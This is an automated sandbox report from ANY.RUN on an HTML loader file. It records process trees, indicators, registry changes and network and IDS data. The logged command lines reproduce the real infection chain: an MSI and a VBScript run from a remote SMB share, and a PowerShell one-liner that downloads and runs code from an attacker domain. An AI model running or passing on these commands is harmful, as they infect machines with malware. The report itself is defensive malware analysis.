File name:

scan-03-01-24_2060.html

Full analysis: https://app.any.run/tasks/f4fce283-1fb0-44a9-ad40-38b16f5ff32a
Verdict: Malicious activity
Threats:

A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection.

Malware Trends Tracker     >>>
Analysis date: March 01, 2024, 18:13:20
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
payload
loader
Indicators:
MIME: text/html
File info: HTML document, Unicode text, UTF-8 text, with very long lines (5197), with no line terminators
MD5:

8F445A30C1239D689967C0D9EF3D4AE3

SHA1:

6875C00DBA403C5E774CE82D2055FF8B07DC7EEB

SHA256:

C671675194BCBFF1275BEEFBC0A796505FEDAC9CC3DAF5B2B0B9A3BB7E3CCAE7

SSDEEP:

96:Tm6Fx2yrCObAhRia+MErZMH4G1iG0+Botg5fUGxu8rZTiu0s4:6uoyrbXrY1iGhauu8dTiBx

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Drops the executable file immediately after the start

      • powershell.exe (PID: 2168)

  • SUSPICIOUS

    • Uses pipe srvsvc via SMB (transferring data)

      • iexplore.exe (PID: 2408)
      • msiexec.exe (PID: 2488)
      • explorer.exe (PID: 1164)
      • msiexec.exe (PID: 3492)
      • iexplore.exe (PID: 2160)
      • msiexec.exe (PID: 1768)
      • wscript.exe (PID: 2064)

    • Executes as Windows Service

      • VSSVC.exe (PID: 2888)

    • Reads the Internet Settings

      • msiexec.exe (PID: 1384)
      • msiexec.exe (PID: 3364)
      • wscript.exe (PID: 2064)
      • powershell.exe (PID: 2168)

    • SMB connection has been detected (probably for file transfer)

      • explorer.exe (PID: 1164)

    • The process downloads a VBScript from the remote host

      • explorer.exe (PID: 1164)

    • The process executes VB scripts

      • explorer.exe (PID: 1164)

    • Possibly malicious use of IEX has been detected

      • wscript.exe (PID: 2064)

    • Request a resource from the Internet using PowerShell's cmdlet

      • wscript.exe (PID: 2064)

    • Starts POWERSHELL.EXE for commands execution

      • wscript.exe (PID: 2064)

    • The Powershell connects to the Internet

      • powershell.exe (PID: 2168)

    • Executable content was dropped or overwritten

      • powershell.exe (PID: 2168)

    • Unusual connection from system programs

      • powershell.exe (PID: 2168)

    • Runs shell command (SCRIPT)

      • wscript.exe (PID: 2064)

  • INFO

    • Reads security settings of Internet Explorer

      • explorer.exe (PID: 1164)
      • msiexec.exe (PID: 1384)
      • msiexec.exe (PID: 2488)
      • msiexec.exe (PID: 3492)
      • msiexec.exe (PID: 3364)
      • msiexec.exe (PID: 1768)

    • Reads the Internet Settings

      • explorer.exe (PID: 1164)

    • Application launched itself

      • iexplore.exe (PID: 3664)
      • iexplore.exe (PID: 2160)

    • Reads settings of System Certificates

      • explorer.exe (PID: 1164)

    • Creates files or folders in the user directory

      • explorer.exe (PID: 1164)
      • msiexec.exe (PID: 1384)

    • Executable content was dropped or overwritten

      • msiexec.exe (PID: 2488)
      • msiexec.exe (PID: 3492)
      • msiexec.exe (PID: 1768)

    • Reads the software policy settings

      • msiexec.exe (PID: 2488)
      • msiexec.exe (PID: 1384)
      • msiexec.exe (PID: 3492)
      • explorer.exe (PID: 1164)
      • msiexec.exe (PID: 3364)
      • msiexec.exe (PID: 1768)

    • Create files in a temporary directory

      • msiexec.exe (PID: 3492)
      • msiexec.exe (PID: 2488)
      • msiexec.exe (PID: 1768)

    • Checks proxy server information

      • msiexec.exe (PID: 3364)
      • msiexec.exe (PID: 1384)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.html | HyperText Markup Language (100)
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
69
Monitored processes
12
Malicious processes
3
Suspicious processes
2

Behavior graph

Click at the process to see the details
start iexplore.exe iexplore.exe iexplore.exe no specs explorer.exe msiexec.exe vssvc.exe no specs msiexec.exe msiexec.exe msiexec.exe msiexec.exe wscript.exe no specs powershell.exe

Process information

PID
CMD
Path
Indicators
Parent process
1164C:\Windows\Explorer.EXEC:\Windows\explorer.exe
—
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Explorer
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\explorer.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
1384"C:\Windows\SysWOW64\msiexec.exe" -z "C:\Users\admin\Favorites\Crystallised\Inkpad3.dll"C:\Windows\System32\msiexec.exe
MSI3DE4.tmp
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows® installer
Exit code:
3221225477
Version:
5.0.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\msiexec.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
1768"C:\Windows\System32\msiexec.exe" /i "\\94.158.245.124\share\fix.msi" C:\Windows\System32\msiexec.exe
explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows® installer
Exit code:
0
Version:
5.0.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\msiexec.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
2064"C:\Windows\System32\WScript.exe" "\\94.158.245.124\share\fix.vbs" C:\Windows\System32\wscript.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft ® Windows Based Script Host
Exit code:
0
Version:
5.8.7600.16385
Modules
Images
c:\windows\system32\wscript.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
2160"C:\Program Files\Internet Explorer\iexplore.exe" "C:\scan-03-01-24_2060.html"C:\Program Files\Internet Explorer\iexplore.exe
explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Internet Explorer
Exit code:
0
Version:
11.00.9600.16428 (winblue_gdr.131013-1700)
Modules
Images
c:\program files\internet explorer\iexplore.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\api-ms-win-downlevel-advapi32-l1-1-0.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\iertutil.dll
2168"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (Invoke-RestMethod -Uri 'porsherses.com/miipnznj')C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
wscript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.14409.1005 (rs1_srvoob.161208-1155)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
2408"C:\Program Files\Internet Explorer\iexplore.exe" SCODEF:2160 CREDAT:333057 /prefetch:2C:\Program Files\Internet Explorer\iexplore.exe—iexplore.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
LOW
Description:
Internet Explorer
Exit code:
0
Version:
11.00.9600.16428 (winblue_gdr.131013-1700)
Modules
Images
c:\program files\internet explorer\iexplore.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\api-ms-win-downlevel-advapi32-l1-1-0.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\iertutil.dll
2488"C:\Windows\System32\msiexec.exe" /i "\\94.158.245.124\share\fix.msi" C:\Windows\System32\msiexec.exe
explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows® installer
Exit code:
0
Version:
5.0.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\msiexec.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
2888C:\Windows\system32\vssvc.exeC:\Windows\System32\VSSVC.exe—services.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Microsoft® Volume Shadow Copy Service
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\vssvc.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
3364"C:\Windows\SysWOW64\msiexec.exe" -z "C:\Users\admin\Favorites\Crystallised\Inkpad3.dll"C:\Windows\System32\msiexec.exe
MSI86D6.tmp
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows® installer
Exit code:
3221225477
Version:
5.0.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\msiexec.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
Total events
62 915
Read events
61 867
Write events
937
Delete events
111

Modification events

(PID) Process:(1164) explorer.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Action Center\Checks\{C8E6F269-B90A-4053-A3BE-499AFCEC98C4}.check.0
Operation:writeName:CheckSetting
Value:
01000000D08C9DDF0115D1118C7A00C04FC297EB01000000DBDD10622BD67741A42163F361389C47000000000200000000001066000000010000200000009332D52EACC8F84D4A21FBC2894567D08A1C2EF28BB819C155A6C4D6A5C9E4BC000000000E8000000002000020000000054D8F55F0A3E10398243FCCB5F59F6A8919C4C9BBDA640582F6E591A079A15A30000000649E4BE8475E5EAD07A5D9D7E6D7992E173031303BAAE1D334A4D71AE875E91AEF9CEF1197038BD22BE36D34CEACE16940000000443C1586D96FF8740C6C55DEA8D5DA333EA821737876388D59FAFF1400BA361BC09C7B82F946C1530DBE4011A877AA00FCA48F770540535CDA75D59D063CAABB
(PID) Process:(2160) iexplore.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\TabbedBrowsing
Operation:writeName:NTPDaysSinceLastAutoMigration
Value:
1
(PID) Process:(2160) iexplore.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\TabbedBrowsing
Operation:writeName:NTPLastLaunchLowDateTime
Value:
706440064
(PID) Process:(2160) iexplore.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\TabbedBrowsing
Operation:writeName:NTPLastLaunchHighDateTime
Value:
31091716
(PID) Process:(2160) iexplore.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\UrlBlockManager
Operation:writeName:NextCheckForUpdateLowDateTime
Value:
(PID) Process:(2160) iexplore.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\UrlBlockManager
Operation:writeName:NextCheckForUpdateHighDateTime
Value:
31091716
(PID) Process:(2160) iexplore.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content
Operation:writeName:CachePrefix
Value:
(PID) Process:(2160) iexplore.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies
Operation:writeName:CachePrefix
Value:
Cookie:
(PID) Process:(2160) iexplore.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History
Operation:writeName:CachePrefix
Value:
Visited:
(PID) Process:(2160) iexplore.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main
Operation:writeName:CompatibilityFlags
Value:
0
Executable files
4
Suspicious files
28
Text files
17
Unknown types
15

Dropped files

PID
Process
Filename
Type
3664iexplore.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B398B80134F72209547439DB21AB308D_ADE4E4D3A3BCBCA5C39C54D362D88565der
MD5:9225C7560F31329B0FB7052775172B5A
SHA256:D3AE7EEF1D7EFFDF4663AA4E3D275EADD9A04A96DAF1F8067EB922FDA1F67AA7
3664iexplore.exeC:\Users\admin\AppData\Local\Temp\TarF713.tmpcat
MD5:DD73CEAD4B93366CF3465C8CD32E2796
SHA256:A6752B7851B591550E4625B832A393AABCC428DE18D83E8593CD540F7D7CAE22
3664iexplore.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B398B80134F72209547439DB21AB308D_ADE4E4D3A3BCBCA5C39C54D362D88565binary
MD5:27FD3B34370035EF6FA07D29E2D8A0F4
SHA256:E5A6DBB413CB2515413F9FE4448B64D4F042194C143D0885DD0B485CB9709135
3664iexplore.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751binary
MD5:A47AB7950B460591D23DC2261D76879C
SHA256:8ECB560682A36FCA750B6588B2F5E5B7ADF1368A9B449518464D56E0BB50F5F4
3664iexplore.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506binary
MD5:5D7CB1ED23988F924F6343798AD29CA2
SHA256:BE7236B66808218BDC75BB7369DE598C8C061F9E0452301843182EAACC1B26AF
2408iexplore.exe\Device\Mup:\94.158.245.124\PIPE\srvsvc —
MD5:—
SHA256:—
3664iexplore.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\1B1495DD322A24490E2BF2FAABAE1C61binary
MD5:BD51A59DE24EAAC560DDF197CB181676
SHA256:53E050DF211A7AC1C4480C31BDDA7D46B92ED0137F04FB4FE0CC0B181D7E2DD9
3664iexplore.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\1B1495DD322A24490E2BF2FAABAE1C61der
MD5:5AE8478AF8DD6EEC7AD4EDF162DD3DF1
SHA256:FE42AC92EAE3B2850370B73C3691CCF394C23AB6133DE39F1697A6EBAC4BEDCA
3664iexplore.exeC:\Users\admin\AppData\Local\Temp\TarF734.tmpcat
MD5:DD73CEAD4B93366CF3465C8CD32E2796
SHA256:A6752B7851B591550E4625B832A393AABCC428DE18D83E8593CD540F7D7CAE22
3664iexplore.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\B6QGX7LP\jquery-3.7.1.min[1].jstext
MD5:2C872DBE60F4BA70FB85356113D8B35E
SHA256:FC9A93DD241F6B045CBFF0481CF4E1901BECD0E12FB45166A8F17F95823F0B1A
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
26
TCP/UDP connections
49
DNS requests
45
Threats
12

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3664
iexplore.exe
GET
304
93.184.221.240:80
http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?1c38e09e3428bf6c
unknown
—
—
unknown
3664
iexplore.exe
GET
304
93.184.221.240:80
http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?86b4b67e50f1d6bf
unknown
—
—
unknown
3664
iexplore.exe
GET
304
93.184.221.240:80
http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?166bb1b05aeb636c
unknown
—
—
unknown
3664
iexplore.exe
GET
200
93.184.221.240:80
http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab?99e8bbead21841e6
unknown
compressed
67.5 Kb
unknown
3664
iexplore.exe
GET
200
104.18.38.233:80
http://ocsp.usertrust.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTNMNJMNDqCqx8FcBWK16EHdimS6QQUU3m%2FWqorSs9UgOHYm8Cd8rIDZssCEH1bUSa0droR23QWC7xTDac%3D
unknown
binary
2.18 Kb
unknown
3664
iexplore.exe
GET
200
69.192.161.44:80
http://x1.c.lencr.org/
unknown
binary
717 b
unknown
3664
iexplore.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
binary
471 b
unknown
1164
explorer.exe
GET
200
104.18.21.226:80
http://secure.globalsign.com/cacert/codesigningrootr45.crt
unknown
binary
1.37 Kb
unknown
2588
msiexec.exe
GET
200
69.192.161.44:80
http://r3.i.lencr.org/
unknown
binary
1.28 Kb
unknown
3664
iexplore.exe
GET
304
93.184.221.240:80
http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?09a5b2e51d609355
unknown
—
—
unknown
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:138
—
—
—
whitelisted
4
System
192.168.100.255:137
—
—
—
whitelisted
1080
svchost.exe
224.0.0.252:5355
—
—
—
unknown
3664
iexplore.exe
151.101.194.137:443
code.jquery.com
FASTLY
US
unknown
3664
iexplore.exe
185.15.59.240:443
upload.wikimedia.org
WIKIMEDIA
US
unknown
3664
iexplore.exe
104.21.235.70:443
iili.io
CLOUDFLARENET
—
unknown
3664
iexplore.exe
93.184.221.240:80
ctldl.windowsupdate.com
EDGECAST
GB
whitelisted
3664
iexplore.exe
104.18.38.233:80
ocsp.comodoca.com
CLOUDFLARENET
—
shared
3664
iexplore.exe
192.229.221.95:80
ocsp.digicert.com
EDGECAST
US
whitelisted
3664
iexplore.exe
69.192.161.44:80
x1.c.lencr.org
AKAMAI-AS
DE
unknown

DNS requests

Domain
IP
Reputation
upload.wikimedia.org
  • 185.15.59.240
whitelisted
code.jquery.com
  • 151.101.194.137
  • 151.101.130.137
  • 151.101.2.137
  • 151.101.66.137
whitelisted
iili.io
  • 104.21.235.70
  • 104.21.235.69
unknown
ctldl.windowsupdate.com
  • 93.184.221.240
whitelisted
ocsp.comodoca.com
  • 104.18.38.233
  • 172.64.149.23
whitelisted
ocsp.digicert.com
  • 192.229.221.95
whitelisted
ocsp.usertrust.com
  • 104.18.38.233
  • 172.64.149.23
whitelisted
x1.c.lencr.org
  • 69.192.161.44
whitelisted
x2.c.lencr.org
  • 69.192.161.44
whitelisted
api.bing.com
  • 13.107.5.80
whitelisted

Threats

PID
Process
Class
Message
3664
iexplore.exe
Not Suspicious Traffic
INFO [ANY.RUN] jQuery JavaScript Library Code Loaded (code.jquery .com)
4
System
Potential Corporate Privacy Violation
POLICY [ANY.RUN] Attempt to connect to an external SMB server
—
—
Potential Corporate Privacy Violation
POLICY [ANY.RUN] NTLM Over SMB (NTLMSSP_NEGOTIATE)
—
—
Potential Corporate Privacy Violation
POLICY [ANY.RUN] NTLM Over SMB (NTLMSSP_NEGOTIATE)
2588
msiexec.exe
Misc Attack
ET DROP Spamhaus DROP Listed Traffic Inbound group 21
1384
msiexec.exe
Misc Attack
ET DROP Spamhaus DROP Listed Traffic Inbound group 21
2168
powershell.exe
Not Suspicious Traffic
ET INFO Windows Powershell User-Agent Usage
2168
powershell.exe
Not Suspicious Traffic
ET INFO Windows Powershell User-Agent Usage
2168
powershell.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
2168
powershell.exe
Misc activity
ET INFO EXE - Served Attached HTTP
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
scan-03-01-24_2060.html